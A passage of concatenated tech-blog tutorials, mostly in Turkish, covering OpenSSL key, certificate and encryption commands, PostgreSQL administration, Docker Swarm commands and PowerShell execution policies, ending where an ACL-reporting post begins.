sertifikaların kullanılmasıyla kimlik doğrulama ve güvenli iletişim süreçlerinin gerçekleştirilmesini sağlar. Özel Anahtar Yönetimi: OpenSSL, özel anahtarların oluşturulması, depolanması ve kullanılması için işlevler sunar. Özel anahtarlar, şifrelemeyi gerçekleştiren tarafların gizli anahtarlarını temsil eder. OpenSSL, geniş bir kullanıcı tabanına sahip ve birçok farklı projede yaygın olarak kullanılmaktadır. Güvenli iletişim, veri bütünlüğü ve kimlik doğrulama gibi güvenlik gereksinimlerini karşılamak için yaygın olarak tercih edilen bir kriptografi kütüphanesidir. ✅ SSL/TLS için bazı yaygın kriptografik dosya formatları: 🔥✅ #Bazı kriptografik dosya formatları 🔥✅ #Some cryptographic file formats *.CRT (Certificate) CRT (Certificate) uzantısı, X.509 standartına uygun olarak oluşturulmuş bir dijital sertifikayı temsil eder. CRT dosyası genellikle sertifika otoritesi (CA) tarafından imzalanmış ve bir sunucunun veya hizmetin kimliğini doğrulamak için kullanılır. CRT dosyası genellikle sertifika zincirini içerebilir ve genellikle halka açık anahtar (public key) bilgisini içerir. *.KEY (Private Key) KEY uzantısı, genellikle bir RSA veya ECC gibi asimetrik şifreleme algoritması için kullanılan özel anahtarın bir dosyasını temsil eder. Bu özel anahtar, bir sertifikayı oluştururken kullanılır ve sertifikayı imzalayan taraf tarafından gizli olarak tutulmalıdır. Özel anahtarın güvenli bir şekilde saklanması önemlidir, çünkü yetkisiz erişim, güvenliği ciddi şekilde tehlikeye atabilir. *.CSR (Certificate Signing Request) CSR (Certificate Signing Request), bir dijital sertifika talebini temsil eder. Bir sunucu veya hizmetin sertifikasını elde etmek için kullanılır. CSR dosyası, sertifika otoritesine (CA) sunulur ve CA, CSR'yi inceleyerek ve doğrulayarak sertifika talebini onaylar ve bir sertifika oluşturur. CSR genellikle sertifika bilgilerini (konu), başvuru sahibinin halka açık anahtarını ve diğer kimlik bilgilerini içerir. *.PFX/P12 (PKCS #12) PFX (Personal Information Exchange) veya P12 (PKCS #12), bir kişisel bilgi değişimi dosyasını temsil eder. Bu dosya, genellikle bir sertifika ve özel anahtarın birleşik bir şekilde depolandığı bir formattır. PFX/P12 dosyası, sertifika ve özel anahtarı bir arada tutmak için kullanılır ve sıklıkla sunucu yapılandırmalarında veya kimlik doğrulama süreçlerinde kullanılır. *.P12: PFX formatına atıfta bulunan bir başka dosya uzantısıdır. PFX ve P12 dosyaları aynı dosya formatını temsil eder. *.PEM (Privacy-Enhanced Mail) PEM (Privacy-Enhanced Mail), bir dizi farklı şifreleme için kullanılan dosya formatını temsil eder. PEM dosyası, Base64 kodlanmış ASCII metnini içerir ve genellikle sertifika veya özel anahtarı depolamak için kullanılır. PEM dosyaları genellikle sertifika, özel anahtar veya CA sertifikalarını içerebilir. *.DER (Distinguished Encoding Rules) DER (Distinguished Encoding Rules), verileri ikili formatta temsil etmek için kullanılan bir formatı ifade eder. DER dosyaları, genellikle sertifikalar, anahtarlar ve diğer kriptografik veriler için kullanılır. DER dosyaları, biner (binary) formatta depolanan verileri içerir ve genellikle PEM formatına dönüştürülebilirler. *.CER (Certificate) CER (Certificate) uzantısı, X.509 standartına uygun olarak oluşturulmuş bir dijital sertifikayı temsil eder. CRT dosyası ile aynı amaçla kullanılır, ancak bazı platformlarda veya işletim sistemlerinde kullanılan alternatif bir uzantıdır. *.PKCS7/P7B (Public Key Cryptography Standards #7) PKCS7/P7B dosyası, genellikle bir sertifika zinciri (CA sertifikasıyla birlikte) veya sertifika deposunu temsil eder. Bu format, sertifikaların paylaşılması veya taşınması için kullanılabilir. *.CRL (Certificate Revocation List) CRL dosyası, sertifikaların geçerlilik durumunu kontrol etmek için kullanılan bir sertifika geri alma listesini temsil eder. CRL, bir sertifikanın geri alındığı durumda veya geçerliliğini yitirdiği durumlarda kullanılır. *.JKS (Java KeyStore) JKS dosyası, Java platformunda kullanılan bir anahtar deposunu temsil eder. Bu dosya, çeşitli amaçlarla kullanılan özel anahtarları, sertifikaları ve diğer güvenlik materyallerini depolamak için kullanılır. *.KEYSTORE KEYSTORE dosyası, çeşitli kriptografik anahtar ve sertifikaları depolayan genel bir terimdir. Genellikle bir uygulamanın veya platformun kullanıcı anahtarlarını ve sertifikalarını saklamak için kullanılır. *.JCEKS (Java Cryptography Extension KeyStore) Java Cryptography Extension (JCE) kullanılarak oluşturulan anahtar deposu formatını temsil eder. Anahtarlar, sertifikalar ve diğer güvenlik materyalleri depolanabilir. *.ASC (ASCII) ASCII dosyasını temsil eder. Sertifikalar, anahtarlar ve diğer kriptografik verilerin ASCII metin formatında depolanmasını sağlar. *.SST (Microsoft Serialized Certificate Store) Microsoft Windows'ta kullanılan bir sertifika deposu formatını temsil eder. Sertifikaların depolanması ve yönetimi için kullanılır. ................ .etc Bu dosya uzantıları/formatlar kriptografik sertifikalar, anahtarlar ve taleplerin farklı formatlarda depolanmasını, kullanılmasını, ve yönetimi temsil eder. Kullanılan uzantı/format; kullanılan uygulama veya gereksinimlere bağlı olabilir. 🧨 Nasıl Kullanılır? - How to Use? #Ubuntu/Debian: sudo apt-get update sudo apt install openssl #Centos/RHEL: sudo yum update sudo yum install openssl #Windows: OpenSSL İndirme: OpenSSL'i resmi web sitesinden indirmek için aşağıdaki adrese gidin: https://slproweb.com/products/Win32OpenSSL.html "Download Win32/Win64 OpenSSL" bölümüne gidin. Windows sürümünü indirmek için "Win64" veya "Win32" bağlantılarından size uygun olanı seçin. Kurulum dosyasını bilgisayarınıza indirin. OpenSSL Kurulumu: İndirdiğiniz kurulum dosyasını çalıştırın. İstediğiniz hedef dizini seçin ve kurulumu başlatın. Kurulum tamamlandığında, OpenSSL kullanıma hazır olacaktır. OpenSSL Kullanımı: OpenSSL komutlarını çalıştırmak için ilgili uygulama dizinine gitmelisiniz. Varsayılan olarak, OpenSSL, "C:\Program Files\OpenSSL-Win64\bin" veya "C:\Program Files\OpenSSL-Win32\bin" dizininde kurulur. 🔔 Windows & Linux: PowerShell: cd '.\Program Files\OpenSSL-Win64\bin' .\start.bat TERMINAL: openssl version openssl s_client -connect farukguler.com:443 ★ OpenSSL Sürümünü Kontrol Etme openssl version 🏁 Rastgele Veri Üretme #Kriptografik olarak güvenilir rastgele veriler üretmek için OpenSSL'i kullanabilirsiniz (örn:20 karakter): openssl rand 20 openssl rand -hex 20 openssl rand -base64 20 📝🔑 (RSA): Anahtar Çifti Oluşturma (Public Key) ve (Private Key) RSA (Rivest–Shamir–Adleman) algoritması, genel anahtarlı şifreleme için yaygın olarak kullanılan bir şifreleme algoritmasıdır. RSA, her bir kullanıcının iki anahtara sahip olduğu bir sistemdir: Genel anahtar (public key) ve Özel anahtar (private key) Genel anahtar ile şifreleme yapılırken, özel anahtar ile de şifreli veriyi çözme işlemi gerçekleştirilir. ★ Gizli Anahtar (Private Key) Sadece sunucunun bildiği ve kimseyle paylaşılmayacak dosyadır -----BEGIN PRIVATE KEY----- satırıyla başlayan dosyadır .pem veya .crt uzantili olabilir ★ Acık Anahtar (Public Key) Şifreli konuşmak istediğiniz istemcilerle paylaşılır -----BEGIN CERTIFICATE----- diye başlayan dosyadır .pem veya .crt uzantılı olabilir #RSA şifreleme için bir anahtar çifti oluşturabilirsiniz. (Gizli Anahtar (Private Key) & Acik Anahtar (Public Key) #Özel Anahtar Oluşturması: #Bu komutla birlikte 2048 bit bir özel anahtar oluşturulur ve "Private_key.pem" adlı bir dosyaya kaydedilir. Bu dosya, özel anahtarı içerir. openssl genpkey -algorithm RSA -out Private_key.pem -pkeyopt rsa_keygen_bits:2048 #Genel Anahtar Oluşturulması: #Bu komutla, oluşturulan özel anahtardan genel anahtar türetilir ve "Public_key.pem" adlı bir dosyaya kaydedilir. Genel anahtarın bit uzunluğu, onunla birlikte kullanılan özel anahtarın bit uzunluğuna eşit olacaktır. openssl rsa -pubout -in Private_key.pem -out Public_key.pem 🔥 RSA ile Dosya Şifreleme ve Çözme RSA (Rivest-Shamir-Adleman) genellikle küçük veri parçalarının şifrelenmesi ve çözülmesi için kullanılır. Büyük veri dosyalarını doğrudan RSA ile şifrelemek pratik olmayabilir, çünkü RSA'nın genel anahtarıyla şifreleme ve özel anahtarla çözme süreci oldukça yavaş olabilir. Bu tür durumlarda genellikle daha hızlı simetrik şifreleme algoritmaları kullanılır. Bu nedenle, genellikle daha hızlı ve verimli olan simetrik şifreleme algoritmaları kullanılır. Simetrik şifreleme, aynı anahtarın hem şifreleme hem de çözme için kullanıldığı bir şifreleme türüdür. Örneğin, AES (Advanced Encryption Standard) gibi simetrik şifreleme algoritmaları genellikle büyük veri dosyalarını hızlı bir şekilde şifrelemek ve çözmek için tercih edilir. 🔑 (AES): "Simetrik" Anahtar Oluşturma Anahtar Oluşturma: openssl rand -hex 32 > hexadecimal.txt #Bu komut, 32 byte (256 bit) uzunluğunda rastgele bir hexadecimal değer üretecektir. ***Anahtar oluşturduktan sonra, bu anahtarı şifreleme ve deşifreleme işlemlerinde kullanabilirsiniz. Ancak, unutmayın ki anahtar güvenli bir şekilde saklanmalıdır, çünkü başkalarının anahtarınızı elde etmesi şifreleme güvenliğinizi tehlikeye atabilir. 🔥🔑 (AES): (Advanced Encryption Standard) ile "Simetrik" Şifreleme & Çözme: AES (Advanced Encryption Standard), güvenli ve hızlı bir şifreleme algoritmasıdır ve genellikle dosya şifreleme işlemlerinde kullanılır. #AES, şifrelenen verinin orijinal haline anahtarla erişim sağlandığı sürece dönüşümünü gerçekleştirebilen bir algoritmadır. SHA-256 ise geri dönüşümü olmayan bir algoritmadır. 🔒 Dosyayı Şifreleme: -aes-256-cbc: AES algoritması ve CBC modu kullanılır. -salt: Rastgele bir tuz (salt) kullanılır. -iter: Türetilmiş anahtar üretecek ve bu anahtar kullanılarak dosya şifrelenir. - 100000: türetilmiş anahtarın oluşturulma işlemi için kullanılacak iterasyon Bu komut: "olaf.ts" adlı bir video dosyasını AES-256-CBC algoritması kullanarak şifreler ve şifrelenmiş halini encrypted_file.enc adlı bir dosyaya kaydeder. Kullanıcıya bir şifre girmesi istenecektir. openssl enc -aes-256-cbc -salt -iter 100000 -in olaf.ts -out encrypted_file.enc 🔓 Dosyayı Çözme: openssl enc -d -aes-256-cbc -iter 100000 -in encrypted_file.enc -out decrypted_olaf.ts 🧅 SHA-256 İmza Oluşturma ve Doğrulama #İlk adım olarak, dijital olarak imzalanacak verinizi bulun: Örneğin, data.txt adlı bir dosya içinde veri bulunuyor olsun. #Özel Anahtar ile İmza Oluşturma: openssl dgst -sha256 -sign private_key.pem -out signature.bin data.txt #Genel Anahtar ile İmzayı Doğrulama: openssl dgst -sha256 -verify public_key.pem -signature signature.bin data.txt #Yukarıdaki komutlar, data.txt dosyasının SHA-256 hash değerini hesaplayarak özel anahtarla imzalar ve imzayı signature.bin dosyasına kaydeder. Sonra, imzayı genel anahtarla doğrular ve veri parçasının bütünlüğünü kontrol eder. Eğer data.txt dosyası içeriğinde herhangi bir değişiklik yapılmışsa bütünlük doğrulanamaz! #Veri parçasının bütünlüğünü doğrulanırsa: Verified OK 🦨 Hash Oluşturma: #OpenSSL ile bir metnin (örneğin bir parolanın) hash değerini oluşturabilir. #Bu komut, bu metni SHA-256 (Secure Hash Algorithm 256-bit) algoritması kullanarak özetler (hash) ve ardından elde edilen hash değerini görüntüler. echo -n "Parola565cc*!" | openssl dgst -sha256 #Hash 5b0b69d932d717fdd1fd92e3ba42110de41ee49a30782a6e4e3ba1fe94a4960d ✅ Self Signed SSL Certificate (Kendinden İmzalı SSL Sertifikası) ✅ SSL certificates from trusted CA (Güvenilir CA'dan SSL Sertifikası) SSL/TLS sertifikası oluşturmak için genellikle bir sertifika otoritesine (GoDaddy, GlobalSign, GlobalSign vb.) gibi global (CA - Certificate Authority) başvurulur. Ancak, geliştirme ve test ortamlarında, kendinden imzalı ("Self-Signed Certificate") olarak adlandırılan bir sertifika kullanabilirsiniz.Ancak, tarayıcılar bağlantı şifreli olduğu halde bu sertifikalara güvenmez, bağlantının güvenli olmadığını belirten uyarılar almanız normaldir, Bu sorunu tarayıcınızda güvenilir sertifikalara ekleyerek aşabilirsiniz. "Self-Signed Certificate" (kendi imzalı sertifika), bir güvenlik sertifikasının (SSL/TLS sertifikası gibi) sahibinin kendi tarafından imzalandığı ve bir üçüncü taraf sertifika otoritesi (CA - Certificate Authority) tarafından onaylanMadığı bir sertifikadır. Genel Sertifika Otoriteleri, genellikle tarayıcılar ve işletim sistemleri tarafından tanınan, güvenilirliklerini doğrulayan ve sertifikaları imzalayarak kullanıcılara güvenli bir bağlantı sağlama sürecini yöneten üçüncü taraf kuruluşlardır. GoDaddy Let's Encrypt VeriSign (Symantec) DigiCert GlobalSign Comodo (Sectigo) ............................. .etc 📝 HTTPS sunucularında kullanılan SSL/TLS sertifikalarını oluşturmak için aşağıdaki adımları izleyebilirsiniz:📝 Aşağıdaki komutlar, önce özel anahtarı oluşturur, ardından sertifika isteğini (Certificate.csr) oluşturur ve son olarak self-signed sertifikayı (.*crt ve *.pfx) oluşturur.📝🔑 (RSA): Anahtar Çifti Oluşturma (Private Key) ve (Public Key)#(Private Key)openssl genpkey -algorithm RSA -out Private_key.pem -pkeyopt rsa_keygen_bits:2048#(Public Keyopenssl rsa -pubout -in Private_key.pem -out Public_key.pem🔥 Parola Korumalı & Korumasız(-nodes) & -newkey CSR Oluşturma:openssl req -new -newkey rsa:2048 -keyout Private_key.pem -out Certificate.csropenssl req -new -newkey rsa:2048 -keyout Private_key.pem -out Certificate.csr -nodesopenssl req -newkey rsa:2048 -keyout guler_com.key -out Certificate.csr -nodes# OpenSSL CSR Sihirbazı (Spesifik)https://www.digicert.com/easy-csr/openssl.htm# Genel CSR Oluşturma Yönergeleri (Spesifik)https://www.digicert.com/kb/csr-creation.htm🔥 Self-Signed (Kendinden İmzalı) Sertifika Oluşturma:🔥 ###################################################🔥🔥🔥 CA (GULER.com) Başvurusu Üzerinden İmzalı Sertifika: [CRT ve PFX]🍄 openssl x509 -req -days 365 -in Certificate.csr -signkey Private_key.pem -out Crt_certificate.crt🍄 openssl pkcs12 -export -in Crt_certificate.crt -inkey Private_key.pem -out Pfx_certificate.pfx🔥🔥🔥 "CSR İsteği Yapmadan" Doğrudan Kendine İmzalı Sertifika: [PEM]Sertifika başvurusu yapma adımını atlayarak, özel anahtar ile doğrudan bir sertifika oluşturur.🍄 openssl req -new -x509 -key Private_key.pem -out Pem_selfcertificate.pem -sha256 -days 365🍁Congrats! Everything is ready🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁🍁Certificate request self-signature oksubject=C = TR,ST = ISTANBUL,L = TURKEY,O = GULER.CORP,OU = GULER,CN = *.guler.com,emailAddress = admin@guler.com📝 Tebrikler, bu adımlar sonunda Self-Signed sertifikalarınızı oluşturdunuz. Kriptografik işlemleri yaparken dikkatli olmalı ve gizli anahtarları güvenli bir şekilde saklamalısınız. ## CSR(Certificate Signing Request) Configuration File "csr.conf":[req]default_bits = 2048distinguished_name = dnprompt = noreq_extensions = req_ext[dn]C="TR"ST="Turkiye"L="Ankara"O="GULER"OU="IT Service"emailAddress="admin@guler.com"CN="guler.com"[req_ext]subjectAltName = @alt_names[alt_names]DNS.0 = *.guler.comDNS.1 = 10.x.x.x## Create the Private Key:openssl genrsa -out self-ssl.key 2048##Extracting Public Key from Private key:openssl rsa -in self-ssl.key -pubout -out public_self_ssl.key## Create the CSR(Certificate Signing Request):openssl req -new -key self-ssl.key -out self-ssl.csr -config csr.conf -sha256## Verify the CSR:openssl req -text -in self-ssl.csr -verifyopenssl req -text -in self-ssl.csr -noout -verify## Sign the CSR:openssl x509 -req -days 365 -in self-ssl.csr -signkey self_ssl.key -out self-ssl.crt -extensions req_ext -extfile csr.conf -sha256 🧶 OpenSSL' ile Sertifika Formatlarını dönüştürmek: Sertifika formatlarını dönüştürmek, genellikle farklı sertifika formatları arasında geçiş yapmayı ifade eder. OpenSSL, birçok farklı sertifika formatını destekler ve bu formatlar arasında dönüşümler yapabilir. CRT >>> CER: openssl x509 -in certificate.crt -out cer_certificate.cer -outform DER CER >>> CRT: openssl x509 -inform DER -in cer_certificate.cer -out cert_certificate.crt CRT >>> PEM: openssl x509 -in certificate.crt -out your_certificate.pem PEM >>> CER: openssl x509 -in pem_certificate.pem -outform DER -out y_certificate.cer PEM >>> CRT: openssl x509 -in pem_certificate.pem -outform DER -out x_certificate.crt CRT >>> P12: openssl pkcs12 -export -in certificate.crt -inkey private_key.pem -out p12_certificate.p12 P12 >>> CER: openssl pkcs12 -in p12_certificate.p12 -clcerts -nokeys -out yyy_certificate.cer CRT >>> PFX: openssl pkcs12 -export -in certificate.crt -inkey private_key.pem -out pfx_certificate.pfx PFX >>> PEM: openssl pkcs12 -in pfx_certificate.pfx -out z_certificate.pem -nodes PEM >>> PFX: openssl pkcs12 -export -out certificate.pfx -inkey private_key.pem -in certificate.pem ................ .etc 🛑 TLS/SSL Sertifikasının Süresi Dolduğunda ne olur ? HTTPS yerine uyarılar ve HTTP işaretiyle kullanıcılarınızı korkutabilir, ancak tarayıcı, kullanıcıyı 'güvenilmeyen sertifika' uyaracaktır. Ancak bu, sunucudan kullanıcının tarayıcısına gelen-giden verilerin şifrelenmesini durdurMAZ. Bağlantı yine de şifreli olmaya devam edecektir. Ancak MITM saldırılarına karşı açıktır. Bir MITM saldırganı sertifikanızı kendi sertifikasıyla değiştirerek trafiğinizi dinleyebilir. Ve işte böyle... Kriptografi dünyasının derinliklerinde kaybolduktan sonra, şifrelerin ve anahtarların dansını izleyerek OpenSSL okyanusunda bir yolculuğa çıktınız. Bilgi güvenliği sularında yüzüp, karmaşık algoritmaların dalgalarını atlattınız. Eğer hala kendinizi kaybolmuş hissediyorsanız, endişelenmeyin. Hatırlayın ki, bir problemle karşılaştığınızda, OpenSSL sizin yanınızda olaf kalitesinde bir yardımcıdır. Şimdi, bilgisayarınızdaki kapıları güvenle kilitleyin ve biraz dinlenmeye geçin. 🎩💻✨ Umarım hem eğlendirip hem de öğrettim -Olaf I hope I both entertained and taught. -Olaf --- ## PostgreSQL Tutorial Link: https://farukguler.com/posts/PostgreSQL-Tutorial/ #PG Install & Uninstall #PG Installsudo apt updatesudo apt install postgresql postgresql-contrib#sudo apt install postgresql-14 postgresql-contrib-14#Pg Uninstall#sudo apt remove --purge postgresql postgresql-contrib#sudo apt autoremove #PG Info: psql -V/usr/lib/postgresql/15/bin/postgres -VSELECT version();pg_config --versionpostgres --versionSHOW SERVER_VERSION; #PG Service Management: sudo systemctl enable postgresql#sudo systemctl disable postgresqlsudo systemctl status postgresqlsudo systemctl start postgresqlsudo systemctl stop postgresqlsudo systemctl restart postgresql #PG DB DATA location: /var/lib/postgresql/<version>/main [Linux]C:\Program Files\PostgreSQL\<version>\data [Win] Postgresql Configuration: Most Important [2] Files: Debian: /etc/postgresql/<version>/main/postgresql.confRHEL: /var/lib/pgsql/<version>/data/postgresql.confWindows: C:\Program Files\PostgreSQL\<version>\data\postgresql.conf-1 postgresql.conf:-2 pg_hba.conf:>>systemctl restart postgresql>>ss -tulpan | grep 5432#1 .postgresql.confControl of performance, connection settings, security, logging, storage management, etc.#2 .pg_hba.conf [Host-Based Authentication]The user determines the IP address and authentication methods. Getting Started with PostgreSQL: #Connecting Postgresql: getent passwd postgressudo su postgressudo -u postgres psqlpsql#psql -h 192.168.5.50 -p 5432 -d Devs -U postgres [Remote Connections] #Commands: #List Roles:\duselect rolname from pg_roles;#List Schema:\dn#Create and Delete Role:CREATE ROLE new_role_name; [Create Role]DROP ROLE role_name; [Delete Role]#Assigning Roles to User:GRANT DB_admins TO faruk;#Create & Delete a User Role:CREATE USER: creates a user with login authority by default.CREATE ROLE: creates a nologin user. #PostgreSQL Authorization Management: PG access privileges are used to determine which operations users and roles can perform on specific database objects. -SELECT: Permission to read data in a table or view.-INSERT: Permission to add new data to a table.-UPDATE: Permission to change table data.-DELETE: Permission to delete data from a table.-TRUNCATE: Permission to quickly empty a table.-REFERENCES: Permission to use foreign keys.-TRIGGER: Permission to create triggers in a table.-CREATE: Permission to create a new schema or table.-CONNECT: Permission to connect to a database.-EXECUTE: Permission to run functions.-TEMPORARY: Permission to create temporary tables.-USAGE: Permission to access schemas or data types.-ALL PRIVILEGES: Covers all privileges, provides full access.#Privileges:*GRANT ALL PRIVILEGES ON DATABASE Devs TO faruk;*REVOKE ALL PRIVILEGES ON DATABASE Devs FROM faruk;*---------- #User Attributes: LOGINSUPERUSERCREATEDBCREATEROLEREPLICATION LOGINPASSWORDINHERIT #VACUUM: SHOW autovacuum;#VACUUM; [Normal]#VACUUM FULL; [Full] #Index: -------------- #Clustering, Replication, HA: Database Cluster: One or more databases on the same PostgreSQL server.Redundant Cluster: Structure where multiple servers work together.#PG Replication Management:-Logical Replication-Streaming Replication-Failover-Load Balancing-Automatic Switchover-Cascade Replication-Patroni-Barman-PgLoader-Repmanager-Pgpool-PAF-PgBouncer-PgPool-II-Postgresql Citus-Postgres-XL-Bucardo--------- #Locking: ----------- #Tuning: https://pgtune.sainth.dehttps://pgtune.leopard.in.uahttps://postgresqlco.nf #Monitoring -ELK-Pgwatch-Pg_activity-Zabbix-PostgreSQL AWR-Grafana #Backup and Restore: *Explained in a different article. #PostgreSQL WAL: (Write-Ahead Logging) /var/lib/postgresql/<version>/main/pg_wal #REPORTING AND LOGGING: /var/log/postgresql/sudo tail -f /var/log/postgresql/postgresql-*.log #Required Downloads: https://www.pgadmin.org/downloadhttps://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.ziphttps://sourceforge.net/projects/dvd-rental/files/DVDRentalSource.zip/download #Docs: https://tubitak-bilgem-yte.github.io/pg-yoneticihttps://berkanyiildirim.github.io/pg-yoneticihttps://cheatsheets.zip/postgreshttps://quickref.me/postgreshttps://gist.github.com/Kartones/dd3ff5ec5ea238d4c546https://gist.github.com/apolloclark/ea5466d5929e63043dcf --- ## Docker Swarm Nedir? Link: https://farukguler.com/posts/docker-swarm-nedir/ Docker Swarm, Docker'ın dahili bir özelliği olan ve konteyner tabanlı uygulamaları yönetmek ve dağıtmak için kullanılan bir konteyner yönetim ve orkestrasyon aracıdır. Swarm, bir grup Docker ana bilgisayarını birbirine bağlayarak tek bir sanal Docker ana bilgisayarı gibi davranmalarını sağlar. Bu, Swarm'a bağlı konteynerlerin, Docker host'ları arasında otomatik olarak dağıtılmasını ve yönetilmesini sağlar. #Docker Swarm status:docker infodocker info | grep Swarm#Swarm is Activate:#By default (3) manager is recommended#To enable the Swarm manager to identify itself to other nodes: (IP)docker swarm init --advertise-addr 10.5.10.22#Joining a new node as Docker Swarm (***Manager): (command) and (token)docker swarm join-token manager#Joining a new node as Docker Swarm (***Worker): (command) and (token)docker swarm join-token worker#List all nodes in a Docker Swarm clusterdocker node ls#Remove node from Swarm#docker swarm leave#docker swarm leave --force#Remove node from remote Swarm#docker node rm <id>#Swarm Node Role Update (Demote-Promote)docker node update --role manager dockernode-3docker node update --role worker dockernode-1#Create 5 copies of httpd services on "All Swarm Nodes!!!"#docker service create --name pantera --replicas=5 -p 3535:80 nginx#Ensure that the service is distributed (only Worker Nodes)docker service create --name pantera --replicas=5 --constraint 'node.role==worker' -p 3333:80 httpd#Scale service (Replicated Mode):docker service scale pantera=14docker service scale pantera=7#Scale service (Global Mode):docker service create --name webserver --mode=global -p 80:80 nginx#Listing services in Docker Swarm:docker service ls#Delete services:docker service rm pantera#List details of the service: (tasks)docker service ps pantera Saygılarımla – Best Regards --- ## PowerShell (Execution Policy) Nedir? Link: https://farukguler.com/posts/powershell-execution-policy-nedir-gpo-and-reg/ 💡 PowerShell yürütme politikası (Execution Policy) Nedir? PowerShell komutlarının nasıl çalıştırılacağını denetleyen bir güvenlik mekanizmasıdır. PowerShell yürütme politikası, PowerShell oturumunun başladığında belirli komutları veya komut dosyalarını çalıştırmak için belirli bir politikayı gerektirir. Bu, kötü amaçlı yazılımların veya zararlı komut dosyalarının yanlışlıkla veya kötü niyetle çalıştırılmasını önlemeye yardımcı olur. PowerShell "ExecutionPolicy" parametreleri: Restricted (Sınırlı): Varsayılan olarak gelen parametredir. Bu politika, hiçbir PowerShell betiğinin çalıştırılmasına izin vermez, yani Internet'ten indirilen betikler veya yerel olarak oluşturulan betikler çalıştırılamaz. Bu en güvenli yürütme politikasıdır, ancak betik tek tek komut çalıştırmaya müsaittir. Unrestricted (Sınırsız): Bu politika, her türlü PowerShell betiğinin çalıştırılmasına izin verir. İnternetten indirilen betikler bile onay gerektirmez. Bu, daha az güvenli bir seçenektir ve dikkatli kullanılmalıdır. AllSigned (Tüm İmzalı): Bu politika, yalnızca güvenilir bir yayıncı tarafından dijital olarak imzalanmış PowerShell betiklerinin çalıştırılmasına izin verir. Yerelde oluşturulan betikler dahil, imzalı betikler çalıştırılabilir. RemoteSigned (Uzaktan İmzalı): Bu politika, yerelde oluşturulan betiklerin imza gerektirmeden çalıştırılmasına izin verirken, Internet'ten indirilen betiklerin güvenilir bir yayıncı tarafından imzalanmasını şart koşar. Yerelde oluşturulan betikler imza gerektirmez. Undefined (Tanımsız): Bu parametre, geçerli ExecutionPolicy ayarını siler. Ancak GPO (Grop Policy) tarafından ayarlanmış ExecutionPolicy'e müdahale edemez. Yani, bilgisayarınıza veya kullanıcınıza uygulanan "GPO" tarafından belirlenen neyse o ExecutionPolicy geçerli olur. Bypass (Atla): Bu politika, her türlü PowerShell betiğinin çalıştırılmasına izin verir, ve hiçbir şekilde onay istemez. Bu, en az güvenli seçenektir ve dikkatli bir şekilde kullanılmalıdır. ✍ Ayrıca bunların dışında kalan (7.) değerde Default değeridir. Bu değer yürütme ilkesini Windows istemci bilgisayarları için "Restricted" , Windows Server makineleri için ise "RemoteSigned" olarak ayarlar. "Get-ExecutionPolicy -List" Nedir? "Get-ExecutionPolicy -List" komutu, PowerShell'de mevcut olan tüm yürütme politikalarını ve bunların öncelik sıralamasını görüntülemenize olanak tanır. Ayrıca bu politikaların etki alanı düzeyinde (GPO tarafından) ayarlanmış olup olmadığını da gösterir. PS C:\Windows\system32> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine Bypass #PowerShell betiği yürütme politikaları hakkında detaylı bilgi al: Get-Help about_Execution_Policy #Mevcut execution policies ve kapsamlarını göster: Get-ExecutionPolicy -List #PowerShell yürütme politikası durumunu kontrol et: Get-ExecutionPolicy ##Yürütme Politikalarını Ayarlayın: #Restricted: Set-ExecutionPolicy Restricted #AllSigned: Set-ExecutionPolicy AllSigned #RemoteSigned: Set-ExecutionPolicy RemoteSigned #Unrestricted: Set-ExecutionPolicy Unrestricted #Bypass: Set-ExecutionPolicy Bypass #Undefined: Set-ExecutionPolicy Undefined 🚩 PowerShell ExecutionPolicy kapsamları (Scopes) Öğrendiğiniz gibi "PowerShell ExecutionPolicy" komut dosyası yürütmesini kısıtlamaktadır, ancak PowerShell komut dosyalarını birçok farklı bağlamda yürütebilir. PowerShell, komut dosyalarını kullanıcının oturum açtığı bağlam veya genel makine bağlamı altında, SİSTEM olarak çalışan zamanlanmış görevler aracılığıyla veya tek bir açık PowerShell konsolu aracılığıyla yürütülebilir. ✍ Tüm bu bağlamlara uyum sağlamak için PowerShell'de bir yürütme ilkesi tanımlayabileceğiniz beş farklı bağlam veya scope vardır. MachinePolicy: Bu kapsam düzeyi, bilgisayarın Grup Politika Nesneleri (GPO) tarafından belirlenen yürütme politikalarını ifade eder. Bilgisayar düzeyinde uygulanır ve tüm kullanıcılar için geçerlidir. UserPolicy: Bu kapsam düzeyi, kullanıcının Grup Politika Nesneleri (GPO) tarafından belirlenen yürütme politikalarını ifade eder. Kullanıcı düzeyinde tanımlanan politikalar, yalnızca belirli bir kullanıcı hesabı için geçerli olur. Process: Bu kapsam düzeyi, on andaki PowerShell oturumu veya işlemi için geçerli olan yürütme politikasıdır. Bu, PowerShell oturumları veya işlemleri arasında farklı yürütme politikaları kullanmanız gereken durumlarda kullanılır. Powershell oturumu kapandığında bu policy silinir. CurrentUser: Bu kapsam düzeyi, mevcut kullanıcı hesabının yürütme politikasını ifade eder. Yani, yalnızca belirli bir kullanıcı için geçerlidir. LocalMachine: Kapsamı, PowerShell'de bilgisayarın yerel yürütme politikasını temsil eder. Bu yürütme politikası, bilgisayarın genel yürütme politikasını ifade eder ve tüm kullanıcı hesapları için geçerlidir. 📜 PowerShell (Execution Policy) GPO "Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell" ✍(öncelikli) "User Configuration > Administrative Templates > Windows Components > Windows PowerShell" "Not Configured" : Belirli bir ayarın yapılmadığını veya belirli policy' in kullanılmadığını ifade eder. "Allow all scripts" : Tüm komut dosyalarının çalıştırılmasına izin verir. "Allow only signed scripts" : komut dosyalarının yalnızca güvenilir bir yayımcı tarafından imzalanmış olması durumunda yürütülmesine izin verir. "Allow local scripts and remote signed scripts" : Tüm yerel komut dosyalarının çalıştırılmasına izin verir; İnternetten gelen komut dosyalarının güvenilir bir yayıncı tarafından imzalanmasını şart koşar. "Disabled" : Bu ilke ayarını devre dışı bırakırsanız "hiçbir komut dosyasının" çalıştırılmasına" izin verilmez. 🩸 PowerShell (Execution Policy) REG HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell Değer verisi girdileri: Restricted, AllSigned, RemoteSigned, Unrestricted, UnDefinition, etc. --- ## Mass AD Security and Any Folder [ACL-ACE] Reporter Link: https://farukguler.com/posts/ad-security-and-any-folder-acl-ace-reporter/ ACL (Access Control List) Nedir? Güvenlik denetimleri, belirli kullanıcıların veya grupların bir kaynağa örneğin, (dosya, klasör, network cihazı, server vb.) erişim düzeyini kontrol etmek için kullanılır. Bu 